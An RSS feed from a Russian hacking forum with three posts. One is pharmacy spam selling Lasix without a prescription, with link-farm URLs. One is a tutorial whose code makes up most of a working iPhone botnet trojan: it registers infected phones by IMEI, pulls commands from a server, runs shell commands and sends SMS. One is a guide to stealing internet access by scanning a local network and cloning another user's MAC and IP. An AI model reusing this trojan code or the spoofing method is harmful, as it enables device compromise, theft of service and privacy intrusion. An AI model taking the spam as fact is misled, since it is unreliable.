<?xml version="1.0" encoding="UTF-8" ?>
<rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom">
	<channel>
		<title>SoCKeT</title>
		<link>http://socket.ucoz.com/</link>
		<description>Форум</description>
		<lastBuildDate>Sat, 01 Feb 2014 11:31:23 GMT</lastBuildDate>
		<generator>uCoz Web-Service</generator>
		<atom:link href="https://socket.ucoz.com/forum/rss" rel="self" type="application/rss+xml" />
		
		<item>
			<title>lasix comprimido bula, furosemide iv vs oral</title>
			<link>https://socket.ucoz.com/forum/24-9250-1</link>
			<pubDate>Sat, 01 Feb 2014 11:31:23 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://socket.ucoz.com/forum/24&quot;&gt;Hack - Is style of our life&lt;/a&gt;&lt;br /&gt;Описание темы: #subject&lt;br /&gt;Автор темы: AnabasPn&lt;br /&gt;Автор последнего сообщения: AnabasPn&lt;br /&gt;Количество ответов: 0</description>
			<content:encoded>&lt;a href=http://93.174.88.196/evko.php?url=/products/blood_pressure_heart/lasix/order/&gt;&lt;img&gt;http://93.174.88.196/eva-img/Lasix.jpg&lt;/img&gt;&lt;/a&gt; &lt;br /&gt; &lt;br /&gt; &lt;a href=http://93.174.88.196/evko.php?url=/products/blood_pressure_heart/lasix/order/&gt;&lt;img&gt;http://93.174.88.196/images/order/pictures.php&lt;/img&gt;&lt;/a&gt; &lt;br /&gt; &lt;br /&gt; Best buy Lasix Online By Fedex Order Cheap &lt;br /&gt; &lt;b&gt;Best buy Lasix Order Online Pharmacy TRAMADOL&lt;/b&gt; &lt;br /&gt; How Can I Order Lasix Fedex Without Prescription &lt;br /&gt; Cheap Lasix Online Pharmacies Cash On Delivery Buy &lt;br /&gt; &lt;u&gt;Get Online Lasix Overnight No Prescription No Rx&lt;/u&gt; &lt;br /&gt; Purchase Lasix Without A Prescription Ontario &lt;br /&gt; Where can I Order Lasix with next day delivery without prescription with free shipping &lt;br /&gt; &lt;i&gt;Purchase Lasix cod pharmacy&lt;/i&gt; &lt;br /&gt; Best buy Lasix C.O.D. &lt;br /&gt; http://enjoysmedia.com/user/AkodrowPn/ &lt;br /&gt; Where can I Buy Lasix No Doctor buy &lt;br /&gt; &lt;b&gt;Buying Online Lasix Fedex Cod&lt;/b&gt; &lt;br /&gt; Buy Lasix Ups &lt;br /&gt; Take Lasix Without Prescription From Us Pharmacy Ordering &lt;br /&gt; &lt;u&gt;Take Lasix online without a rx&lt;/u&gt; &lt;br /&gt; Buying Online Lasix with no prescription &lt;br /&gt; Cheap Lasix Without Prescription Or Membership &lt;br /&gt; &lt;i&gt;Discount Lasix No Prescription Needed&lt;/i&gt; &lt;br /&gt; Buying Lasix Order Prescription Free &lt;br /&gt; http://www.sc170.kharkov.ua/index.php?subaction=userinfo&amp;user=Amasararom &lt;br /&gt; How to Order Lasix Free Shipping U.S. Pharmacies For &lt;br /&gt; &lt;b&gt;Safe Buy Lasix No Prescription Overnight&lt;/b&gt; &lt;br /&gt; Get Lasix With No Rx And Free Shipping &lt;br /&gt; Buying Lasix Drug &lt;br /&gt; &lt;u&gt;Sell Lasix Fedex Delivery Order&lt;/u&gt; &lt;br /&gt; Cheap Lasix Order Online Pharmacy TRAMADOL &lt;br /&gt; Take Lasix No Prescription Usa Fedex Shipping &lt;br /&gt; &lt;i&gt;How Can I Get Lasix Buy Overnight Shipping&lt;/i&gt; &lt;br /&gt; Where to Purchase Lasix Without A Prescription Canada &lt;br /&gt; http://goldens.kz/user/Aduglasma/ &lt;br /&gt; How to Buy Lasix From Canadian Pharmacy &lt;br /&gt; &lt;b&gt;Buy Cheap Lasix Online Pharmacy&lt;/b&gt; &lt;br /&gt; Sell Lasix Generic Without A Prescription &lt;br /&gt; How Can I Get Lasix Legally &lt;br /&gt; &lt;u&gt;How Can I Order Lasix No Script Fedex&lt;/u&gt; &lt;br /&gt; Buying Online Lasix Without Prescription From Us Pharmacy Ordering &lt;br /&gt; Order Lasix Free Consultation U.S. Pharmacy &lt;br /&gt; &lt;i&gt;Sell Online Lasix USA Pharmacy&lt;/i&gt; &lt;br /&gt; How to Buy Lasix Next Day &lt;br /&gt; http://www.resuelvedudas.com/member.php?action=profile&amp;uid=21250 &lt;br /&gt; &lt;br /&gt; http://grotter.ucoz.de/forum/4-58533-1http://free24.kz/forum/3-36133-1http://fmobail.ru/index.php?topic=230958.new#newhttp://magbike.ru/index.php/topic,411853.new.html#newhttp://hopeplan.org/hopeplan/index.php/forum/welcome-mat/123658-furosemide-40-mg-orally-now-furosemide-absorption#123555http://delicaclub.ge/index.php/forum/13/59206-lasix-and-paxil-lisinopril-furosemide-interactions#61288http://toronto-hotties.com/viewtopic.php?f=6&amp;t=82270 &lt;br /&gt; b8cA6yz1nJ</content:encoded>
			<category>Hack - Is style of our life</category>
			<dc:creator>AnabasPn</dc:creator>
			<guid>https://socket.ucoz.com/forum/24-9250-1</guid>
		</item>
		<item>
			<title>Пишем троян для iphone</title>
			<link>https://socket.ucoz.com/forum/24-35-1</link>
			<pubDate>Sun, 02 Aug 2009 09:52:30 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://socket.ucoz.com/forum/24&quot;&gt;Hack - Is style of our life&lt;/a&gt;&lt;br /&gt;Автор темы: ZeOx&lt;br /&gt;Автор последнего сообщения: ZeOx&lt;br /&gt;Количество ответов: 0</description>
			<content:encoded>Как всегда я не ручаюсь за последствия)) &lt;br /&gt; Формат управляющей команды &lt;p&gt; Первое, с чего надо начать написание трояна – разработка формата команды, которую сервер будет передавать клиентам (зараженным телефонам). Я предлагаю вот такой вид: &lt;p&gt; 1. Команда состоит из шести частей, разделенных символом &quot;%&quot; &lt;p&gt; 2. Первая часть: &lt;p&gt; - at% AT-команда для модема &lt;br /&gt; - sm% команда отправки СМС &lt;br /&gt; - sh% команда шелла (например, ls, whoami, ping www.ru) &lt;br /&gt; - tg% команда настройки работы самого трояна &lt;p&gt; 3. Третьи и вторая части - аргументы команды из первой части. Например: &lt;p&gt; - sm%79101010101%TEST is OK%&lt;хвост команды&gt; &lt;p&gt; 4. Четвертая часть - тип отправки результата команды, может принимать значения: &lt;p&gt; - %ws% отправка http-запросом параметра GET &lt;br /&gt; - %sm% отправка &quot;внутри&quot; SMS-сообщения &lt;p&gt; 5. Пятая и шестая части - аргументы для отправки команды, например: &lt;p&gt; - %79102020202% номер телефона в международном формате &lt;br /&gt; - %192.168.1.100%/master-server/res.php?res=% &lt;p&gt; Примеры команд: &lt;p&gt; - sm%79101010101%test is OK%0%0%0% – отправить СМС с текстом: &quot;test is OK&quot; на номер +79101010101 &lt;br /&gt; - sh%ping –c10 www.ru%0%ws%192.168.1.100%/master-server/res.php?res=% – выполнить команду шелла &quot;ping www.ru&quot; и выслать результат выполнения на 192.168.1.100 &lt;br /&gt; - tg%3600%0%0%0%0% – установить интервал получения команды с сервера равным 3600 секунд &lt;p&gt; Пару слов о разделителе: я максимально хотел использовать команды шелла, поэтому оставил все спецсимволы на использование в скриптах (чтобы можно было выполнять разные там cat /dev/random &gt; /tmp/fuck-memory-economy или ls / | grep txt и пр.). Таким образом, разделителем стал процент – %. Что касается общей концепции команды, то здесь все тоже очевидно. Первые три параметра – управляющая часть, инструкция типа &quot;что сделать&quot;. Вторые три параметра – ответная часть, инструкция типа &quot;куда скинуть результат выполнения&quot;. Если с этим все понятно, то нечего тянуть резину, переходим к кодингу. &lt;br /&gt; Архитектура программы &lt;p&gt; Все функции я разнес по отдельным файлам в зависимости от смысловой нагрузки. Основной файл trojan.c максимально облегчен от ненужного кода. Вот список файлов и их назначений: &lt;p&gt; trojan.c Основной файл с main() функцией программы &lt;br /&gt; Makefile Инструкции утилите make для сборки трояна &lt;p&gt; ./cmd: Разбор строки с командой и заполнение структуры &lt;br /&gt; total 8 &lt;br /&gt; -rw-r--r-- 1 root wheel 2117 May 14 10:05 cmd-parser.c &lt;br /&gt; -rw-r--r-- 1 root wheel 61 May 14 09:51 cmd-parser.h &lt;p&gt; ./http: HTTP клиент. Отправка запросов, возвращение результата &lt;br /&gt; total 8 &lt;br /&gt; -rw-r--r-- 1 root wheel 1453 May 14 10:03 http-client.c &lt;br /&gt; -rw-r--r-- 1 root wheel 46 May 11 15:18 http-client.h &lt;p&gt; ./sms: Работа с AT-командами. Отправка СМС, получение IMEI и CCID &lt;br /&gt; total 12 &lt;br /&gt; -rw-r--r-- 1 root wheel 4273 May 14 10:46 sms-funcs.c &lt;br /&gt; -rw-r--r-- 1 root wheel 124 May 8 17:23 sms-funcs.h &lt;p&gt; ./structs: Описание структуры команды COMMAND &lt;br /&gt; total 8 &lt;br /&gt; -rw-r--r-- 1 root wheel 265 May 13 00:57 command.c &lt;p&gt; ./utils: Утилиты. Concat для корректного слияния двух строк в одну &lt;br /&gt; total 8 &lt;br /&gt; -rw-r--r-- 1 root wheel 372 May 12 08:27 utils-concat.c &lt;br /&gt; -rw-r--r-- 1 root wheel 49 May 11 15:18 utils-concat.h &lt;br /&gt; Пишем простенький HTTP Client &lt;p&gt; Забирать команды с сервера наш троян будет по HTTP. Поэтому надо написать простенький клиент на сокетах. Готовые вещи в нашем случае бестолковы, а формат http-запроса, думаю, ты помнишь наизусть. Если не помнишь – ничего страшного, напомню. Использовать мы будем только стандартные библиотеки: netdb.h, sys/types.h, netinet/in.h, sys/socket.h. В общем, получится примерно так: &lt;p&gt; char* sendHttpRequest(char *host, char *url) { &lt;p&gt; int sockfd, numbytes; &lt;p&gt; char buf[MAXDATASIZE]; &lt;p&gt; struct hostent *he; &lt;p&gt; struct sockaddr_in their_addr; &lt;p&gt; char* msg[2048]; &lt;p&gt; sprintf(msg,&quot;GET %s HTTP/1.1&amp;#92;r&amp;#92;n&quot;,url); &lt;p&gt; if (strlen(host)!=0){ &lt;p&gt; sprintf(msg,&quot;%sHost: %s&amp;#92;r&amp;#92;n&quot;,msg,host); &lt;p&gt; } &lt;p&gt; sprintf(msg, &quot;%s Cache-Control: no-cache&amp;#92;r&amp;#92;nUser-Agent: bad-trojan&amp;#92;r&amp;#92;n&amp;#92;r&amp;#92;n&quot;, &lt;br /&gt; msg); &lt;p&gt; int received=0; &lt;p&gt; if((he=gethostbyname(host)) == NULL) &lt;p&gt; exit(1); &lt;p&gt; else &lt;p&gt; if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) &lt;p&gt; exit(1); &lt;p&gt; else &lt;p&gt; their_addr.sin_family = AF_INET; &lt;p&gt; their_addr.sin_port = htons(PORT); &lt;p&gt; their_addr.sin_addr = *((struct in_addr *)he-&gt;h_addr); &lt;p&gt; memset(&amp;(their_addr.sin_zero), &apos;&amp;#92;0&apos;, 8); &lt;p&gt; if(connect(sockfd, (struct sockaddr *)&amp;their_addr, sizeof(struct sockaddr)) == &lt;br /&gt; -1) &lt;p&gt; exit(1); &lt;p&gt; else &lt;p&gt; if((numbytes = send(sockfd, msg, strlen(msg), 0)) == -1) { &lt;p&gt; exit(1); &lt;p&gt; } &lt;p&gt; int bytes = 0; &lt;p&gt; bytes = (recv(sockfd, buf, MAXDATASIZE-1, 0)); &lt;p&gt; if (bytes &lt; 1) { &lt;p&gt; exit(1); &lt;p&gt; } &lt;p&gt; else if(bytes&lt;MAXDATASIZE) { &lt;p&gt; } &lt;p&gt; else exit(1); &lt;p&gt; close(sockfd); &lt;p&gt; return buf; &lt;p&gt; } &lt;p&gt; Тут накладываются ограничения в 2 Кб на строку URL и ответ сервера. Если их будет мало для твоих целей – увеличишь без проблем. Только не забудь очищать переменные, все-таки чистый С, никаких тебе сборщиков мусора :). &lt;br /&gt; Парсим команду сервера &lt;p&gt; После того, как мы получили строку с командой, ее надо разобрать и заполнить соответствующую структуру. Сама структура выглядит так: &lt;p&gt; struct COMMAND{ &lt;p&gt; char ct[3]; &lt;p&gt; char p1[257]; &lt;p&gt; char p2[257]; &lt;p&gt; char rt[3]; &lt;p&gt; char r1[257]; &lt;p&gt; char r2[257]; &lt;p&gt; }; &lt;p&gt; По-хорошему, тип команды и тип ответа надо было выставить в int, но до этого руки у меня не дошли. Как говорится, сначала напиши, потом оптимизируй. Так что, это оставим на домашнее задание. Теперь сам парсинг. Он основывается на базовой функции strtok, которая выполняет за нас разбиение строки на токены по спецсимволу %. Вот исходник: &lt;p&gt; struct COMMAND parseCmd(char *resp){ &lt;p&gt; char **parsed = (char *)malloc(SIZE); &lt;p&gt; int i=0; &lt;p&gt; for(i=0; i&lt;SIZE; i++) { &lt;p&gt; parsed[i] = (char)malloc(MAX_SIZE); &lt;p&gt; } &lt;p&gt; if (strstr(resp, &quot;cmd: &quot;)!=NULL) { &lt;p&gt; UCHAR cmd[1024]; &lt;p&gt; strncpy(cmd,&amp;resp[172], (strlen(resp)-170) ); &lt;p&gt; char * pch; &lt;p&gt; pch = strtok(cmd, &quot;%&quot;); &lt;p&gt; i = 0; &lt;p&gt; while (pch!=NULL){ &lt;p&gt; parsed[i]=pch; &lt;p&gt; pch = strtok (NULL, &quot;%&quot;); &lt;p&gt; i++; &lt;p&gt; } &lt;p&gt; strncpy(COMMAND.ct,parsed[0],sizeof(COMMAND.ct)); &lt;p&gt; strncpy(COMMAND.p1,parsed[1],sizeof(COMMAND.p1)); &lt;p&gt; strncpy(COMMAND.p2,parsed[2],sizeof(COMMAND.p2)); &lt;p&gt; strncpy(COMMAND.rt,parsed[3],sizeof(COMMAND.rt)); &lt;p&gt; strncpy(COMMAND.r1,parsed[4],sizeof(COMMAND.r1)); &lt;p&gt; strncpy(COMMAND.r2,parsed[5],sizeof(COMMAND.r2)); &lt;p&gt; for (i=0; i&lt;SIZE; i++) { &lt;p&gt; parsed[i]=NULL; &lt;p&gt; } &lt;p&gt; return COMMAND; &lt;p&gt; } &lt;p&gt; return COMMAND; &lt;p&gt; } &lt;p&gt; Вроде все понятно? Никаких особых приемов здесь не использовано. Только прошу быть аккуратнее с переполнениями буфера. Код трояна по этой части еще придется хорошенько допилить… &lt;br /&gt; Посылаем АТ-команды модему телефона &lt;p&gt; В мартовском номере я уже приводил исходник программы для отправки СМС. На всякий случай, повторю основные моменты. Мы используем резервное системное устройство /dev/tty.debug, через которое посылаются АТ-команды. Основное устройство /dev/tty заблокировано родными демонами телефона и использовать его не получится. Мы инициализируем соединение на скорости 115200 бод вот так: &lt;p&gt; int InitConn(int speed) &lt;p&gt; { &lt;p&gt; int fd = open(&quot;/dev/tty.debug&quot;, O_RDWR | O_NOCTTY); &lt;p&gt; if(fd == -1) { &lt;p&gt; fprintf(stderr, &quot;%i(%s)&amp;#92;n&quot;, errno, strerror(errno)); &lt;p&gt; exit(1); &lt;p&gt; } &lt;p&gt; ioctl(fd, TIOCEXCL); &lt;p&gt; fcntl(fd, F_SETFL, 0); &lt;p&gt; tcgetattr(fd, &amp;term); &lt;p&gt; gOriginalTTYAttrs = term; &lt;p&gt; cfmakeraw(&amp;term); &lt;p&gt; cfsetspeed(&amp;term, speed); &lt;p&gt; term.c_cflag = CS8 | CLOCAL | CREAD; &lt;p&gt; term.c_iflag = 0; &lt;p&gt; term.c_oflag = 0; &lt;p&gt; term.c_lflag = 0; &lt;p&gt; term.c_cc[VMIN] = 0; &lt;p&gt; term.c_cc[VTIME] = 0; &lt;p&gt; tcsetattr(fd, TCSANOW, &amp;term); &lt;p&gt; return fd; &lt;p&gt; } &lt;p&gt; После этого можно писать в устройство: &lt;p&gt; void SendCmd(int fd, void *buf, size_t size) &lt;p&gt; { &lt;p&gt; if(write(fd, buf, size) == -1) { &lt;p&gt; fprintf(stderr, &quot;SendCmd error. %s&amp;#92;n&quot;, strerror(errno)); &lt;p&gt; exit(1); &lt;p&gt; } &lt;p&gt; } &lt;p&gt; Для отправки СМС используется такая последовательность команд: &lt;p&gt; AT+CMGD=1 //удаляем все СМС из очереди, чтобы наше сообщение стало &lt;br /&gt; первым &lt;p&gt; AT+CMGF=1 //переводим модем в текстовый режим &lt;p&gt; AT+CMGW=79000000000 //номер получателя &lt;p&gt; Набираем само сообщение &lt;p&gt; AT+CMSS=1 //отправляем наше сообщение &lt;p&gt; Я очищаю очередь сообщений, чтобы не заморачиваться и не разбирать строку ответа модема на команду AT+CMGW. По правильному, она возвращает номер твоего набранного СМС, далее его и надо использовать для аргумента AT+CMSS. У такого подхода есть небольшой нюанс – троян прекрасно работает, но сам телефон СМС отправить после такого уже не может. Приходиться перезагружаться. В общем, этот баг я оставил специально, чтобы тебе тоже было чем заняться :). &lt;p&gt; Помимо отправки СМС, допишем еще две функции, чтобы получать IMEI телефона и CCID. Это уникальные номера, их можно использовать для идентификации каждого зараженного образца. &lt;p&gt; char* getCCID(){ &lt;p&gt; int fd; &lt;p&gt; fd = InitConn(115200); &lt;p&gt; AT(fd); &lt;p&gt; SendCmd(fd, &quot;AT+CCID&amp;#92;r&quot;,9); &lt;p&gt; char* res = ReadResp(fd) ; &lt;p&gt; CloseConn(fd); &lt;p&gt; return res; &lt;p&gt; } &lt;p&gt; char* getIMEI(){ &lt;p&gt; int fd; &lt;p&gt; fd = InitConn(115200); &lt;p&gt; AT(fd); &lt;p&gt; SendCmd(fd, &quot;AT+CGSN&amp;#92;r&quot;,9); &lt;p&gt; char* res = ReadResp(fd) ; &lt;p&gt; CloseConn(fd); &lt;p&gt; return res; &lt;p&gt; } &lt;p&gt; Ну вот, закончили с АТ-командами. Теперь можно объединить все вместе в main функции. &lt;br /&gt; Регистрация телефона в ботнете и получение команды &lt;p&gt; Чтобы хозяин знал, что в его коллекции появился еще один зверек, зараженному надо зарегистрироваться. С точки зрения трояна – это просто еще один http-запрос. В качестве параметра передает IMEI телефона и проверочный код. Код – это специальная функция, вычисленная от IMEI. В прошлой статье я приводил ее исходник на PHP на стороне сервера. А вот реализация на С: &lt;p&gt; int getVKey(char* imei){ &lt;p&gt; if (strlen(imei)!=15) return -1; &lt;p&gt; int vkey = 0; &lt;p&gt; int i = 0; &lt;p&gt; int c = 0; &lt;p&gt; int l = 0; &lt;p&gt; int m = 0; &lt;p&gt; char *k = (char *)malloc(1); &lt;p&gt; for (i=0; i&lt;5; i++){ &lt;p&gt; switch (i) { &lt;p&gt; case 0: l = 3; m = 101; break; &lt;p&gt; case 1: l = 7; m = 107; break; &lt;p&gt; case 2: l = 8; m = 3; break; &lt;p&gt; case 3: l = 11; m = 9; break; &lt;p&gt; case 4: l = 13; m = 71; break; &lt;p&gt; } &lt;p&gt; memcpy(k, &amp;imei[l], 1); &lt;p&gt; c = atoi(k); &lt;p&gt; vkey+=c*m; &lt;p&gt; } &lt;p&gt; return vkey; &lt;p&gt; } &lt;p&gt; int regZombie(char* imei) { &lt;p&gt; char* regurl[1024]; &lt;p&gt; sprintf(regurl,&quot;/master-server/reg.php?imei=%s&amp;vkey=%d&quot;,imei, getVKey(imei)); &lt;p&gt; sendHttpRequest(&quot;192.168.10.1&quot;,regurl); &lt;p&gt; return 0; &lt;p&gt; } &lt;br /&gt; main() – всему голова &lt;p&gt; Осталось самая малость – написать главную функцию. Здесь мы будем в цикле принимать и обрабатывать пришедшие команды от сервера и, в зависимости от команд, выполнять те или иные действия. Меньше слов, больше кода: &lt;p&gt; int doCmd(struct COMMAND COMMAND){ &lt;p&gt; if (strstr(COMMAND.ct, &quot;sm&quot;)!=NULL){ &lt;p&gt; if (strlen(COMMAND.p1)&gt;0){ &lt;p&gt; if (strstr(COMMAND.p2,&quot;getIMEI&quot;)!=NULL){ &lt;p&gt; sendSMS(COMMAND.p1,getIMEI()); &lt;p&gt; } &lt;p&gt; else if (strlen(COMMAND.p1)==1){ //номер по умолчанию, использовался при записи &lt;br /&gt; видео-ролика для Х &lt;p&gt; sendSMS(&quot;89100000000&quot;,COMMAND.p2); &lt;p&gt; } &lt;p&gt; else { &lt;p&gt; sendSMS(COMMAND.p1,COMMAND.p2); &lt;p&gt; } &lt;p&gt; } &lt;p&gt; } &lt;p&gt; else if (strstr(COMMAND.ct, &quot;at&quot;)!=NULL){ &lt;p&gt; if (strlen(COMMAND.p1)&gt;0) { &lt;p&gt; char *res[1024]; &lt;p&gt; sprintf(res,&quot;%s&quot;,getCALL(COMMAND.p1)); &lt;p&gt; if (strstr(COMMAND.rt, &quot;sm&quot;)!=NULL){ &lt;p&gt; if (strlen(COMMAND.r1)&gt;0){ &lt;p&gt; sendSMS(COMMAND.r1,res); &lt;p&gt; } &lt;p&gt; } &lt;p&gt; else if (strstr(COMMAND.rt, &quot;ws&quot;)!=NULL){ &lt;p&gt; if (strlen(COMMAND.r1)&gt;NULL &amp;&amp; strlen(COMMAND.r2)&gt;0){ &lt;p&gt; char *urlres[1024]; &lt;p&gt; sprintf(urlres,&quot;%s%s&quot;,COMMAND.r2,res); &lt;p&gt; sendHttpRequest(COMMAND.r1,urlres); &lt;p&gt; free(urlres); &lt;p&gt; } &lt;p&gt; } &lt;p&gt; } &lt;p&gt; } &lt;p&gt; else if (strstr(COMMAND.ct, &quot;sh&quot;)!=NULL){ &lt;p&gt; if (strlen(COMMAND.p1)&gt;0){ &lt;p&gt; system(COMMAND.p1); &lt;p&gt; } &lt;p&gt; } &lt;p&gt; else if (strstr(COMMAND.ct, &quot;tg&quot;)!=NULL){ &lt;p&gt; if (strlen(COMMAND.p1)&gt;0){ &lt;p&gt; timeout=atoi(COMMAND.p1); &lt;p&gt; } &lt;p&gt; } &lt;p&gt; return 0; &lt;p&gt; } &lt;p&gt; int main(int argc, char **argv) { &lt;p&gt; regZombie(getIMEI()); &lt;p&gt; while(1) { &lt;p&gt; sleep(timeout); &lt;p&gt; COMMAND = takeCmd(1); &lt;p&gt; doCmd(COMMAND); &lt;p&gt; COMMAND = takeCmd(0); &lt;p&gt; doCmd(COMMAND); &lt;p&gt; } &lt;p&gt; } &lt;p&gt; Ну что, все очень просто и открыто. Самый главный хак в этом трояне – написанная правильными ребятами утилита ldid. Она позволяет подписать скомпиленный бинарник, чтобы он запускался на телефоне. Процедура эта уникальна для каждого аппарата. Тут возникает необходимость копировать эту утилиту на зараженный телефон, если она не была установлена самим владельцем вместе с каким-нибудь пакетом. Но это уже дело техники внедрения</content:encoded>
			<category>Hack - Is style of our life</category>
			<dc:creator>ZeOx</dc:creator>
			<guid>https://socket.ucoz.com/forum/24-35-1</guid>
		</item>
		<item>
			<title>Халявный интернет через локальную сеть</title>
			<link>https://socket.ucoz.com/forum/24-19-1</link>
			<pubDate>Fri, 31 Jul 2009 15:11:53 GMT</pubDate>
			<description>Форум: &lt;a href=&quot;https://socket.ucoz.com/forum/24&quot;&gt;Hack - Is style of our life&lt;/a&gt;&lt;br /&gt;Автор темы: ZeOx&lt;br /&gt;Автор последнего сообщения: ZeOx&lt;br /&gt;Количество ответов: 0</description>
			<content:encoded>Статья предназначена только для устранения неполадок, мы не отвечаем за ваши действия &lt;br /&gt; --------------------------------- &lt;p&gt; Что нам для этого нужно: &lt;p&gt; 1. Локальная сеть (районная, домашняя, городская.) &lt;br /&gt; 2. Подключенный к этой сети компьютер, который имеет доступ к внутри сетевым ресурсам. &lt;br /&gt; 3. Наличие нижеописанных программ. &lt;br /&gt; 4. И как всегда прямые руки &lt;img src=&quot;http://s20.ucoz.net/sm/24/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot;&gt; &lt;p&gt; Нижеописанный способ почти универсален для любой сети и изменяется уже от конкретного построения. &lt;p&gt; И так... Начинаем: &lt;p&gt; 1. Узнаем свой внутри сетевой IP-адресс. Для этого в cmd пишем ipconfig (winipcfg для windows 9*). &lt;br /&gt; Или второй способ 2 раза на мониторчики снизу экрана, там смотрим поддержку. &lt;br /&gt; 2. Узнаем свои mac - адреса сети. Для этого в cmd набираем arp –a. Или опять же смотрим мониторчики – поддержка. Так же можно использовать для этого программу Essential NetTools &lt;br /&gt; 3. Записываем свои mac – адреса куда-нибудь в блокнот, отдельно. &lt;br /&gt; 4. Включаем Essential NetTools (так же раннее применялся для сканирования диапазона IP провайдеров dialup и вытаскивания pwl) или Xsharez. Второй более предпочтителен. Программы в легкую можно найти в интернете. &lt;br /&gt; 5. Возвращаемся к пункту 1. Рассмотрим, например ваш внутри сетевой IP - 10.10.121.12 . Ок’ей, запускаем Xsharez, в поля диапазона поиска по IP вгоняем &lt;br /&gt; 10.10.121.1 – 10.10.121.255 и нажимаем сканирование…Используя какие протоколы и принципы работы программы я описывать не стану, читаем инструкции для этого. &lt;br /&gt; 6. Далее смотрим отчет работы программы и видим там список компьютеров, которые находятся в настоящее время в сети, те которые откликнулись на скан. Из этого отчета нам потребуется только IP удаленной машины вашего сегмента и ее mac - адрес сети. Записываем все это, идем дальше. &lt;br /&gt; Кстати, некоторые машины, например, по 9x имеют расшаренные ресурсы, монтируем диск и копаем &lt;img src=&quot;http://s20.ucoz.net/sm/24/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot;&gt; &lt;br /&gt; 7. Т.к. в настоящее время почти везде идет привязка IP к mac - сети, то нам еще и потребуется перебить mac нашего компьютера. &lt;br /&gt; 8. Сначала записываем свой mac и ip!!! Потом ищем в интернете программу smac. И далее меняем свой настоящий mac, на mac который мы получили из отчета нашего сетевого сканера Xsharez. &lt;br /&gt; Перезапускаем сетевой адаптер для активации настроек. &lt;br /&gt; 9. Далее прописываем себе IP удаленной машины. И заново соединяемся. &lt;br /&gt; Та-дам!, и вот мы уже не мы, и даже не они. Вы уже другой человек. Удачи в Ваших начинаниях. &lt;p&gt; P.S. Метод бессмысленно использовать в сетях, где принудительно введено VPN. &lt;br /&gt; P.P.S. Есть разные способы выдачи IP в локальных сетях. &lt;br /&gt; Коротко опишу 2 наиболее частых. &lt;br /&gt; 1) Мы сами прописываем себе все настройки (IP, mask, gateway, DNS) &lt;br /&gt; 2) Нам выдается IP который соответствует нашему mac - адресу, прописанному на сервере провайдера. Если mac совпадает, то все хорошо, нам выдается наш IP, и мы используем наши ресурсы, если не совпадает, то нам выдают IP первый свободный, из второй сотни обычно ближе к концу. 241. 251...и т.д. При таком варианте мы не можем использовать интернет, но можем использовать пункт 4, 5, 6, …..и т.д. =) &lt;br /&gt; P.P.P.S. Самое классное, что нас будет очень и очень тяжеловато найти… Для этого надо посегментно отрубать маршрутизаторы...брр…ужас вообщем… Удачи всем!. &lt;br /&gt; P.P.P.P.S Лучше сканировать днем, а настройки перебивать поздно ночью, и до утра наслаждаться бесплатным интернетом. &lt;br /&gt; The End &lt;img src=&quot;http://s20.ucoz.net/sm/24/wink.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;wink&quot;&gt;</content:encoded>
			<category>Hack - Is style of our life</category>
			<dc:creator>ZeOx</dc:creator>
			<guid>https://socket.ucoz.com/forum/24-19-1</guid>
		</item>
	</channel>
</rss>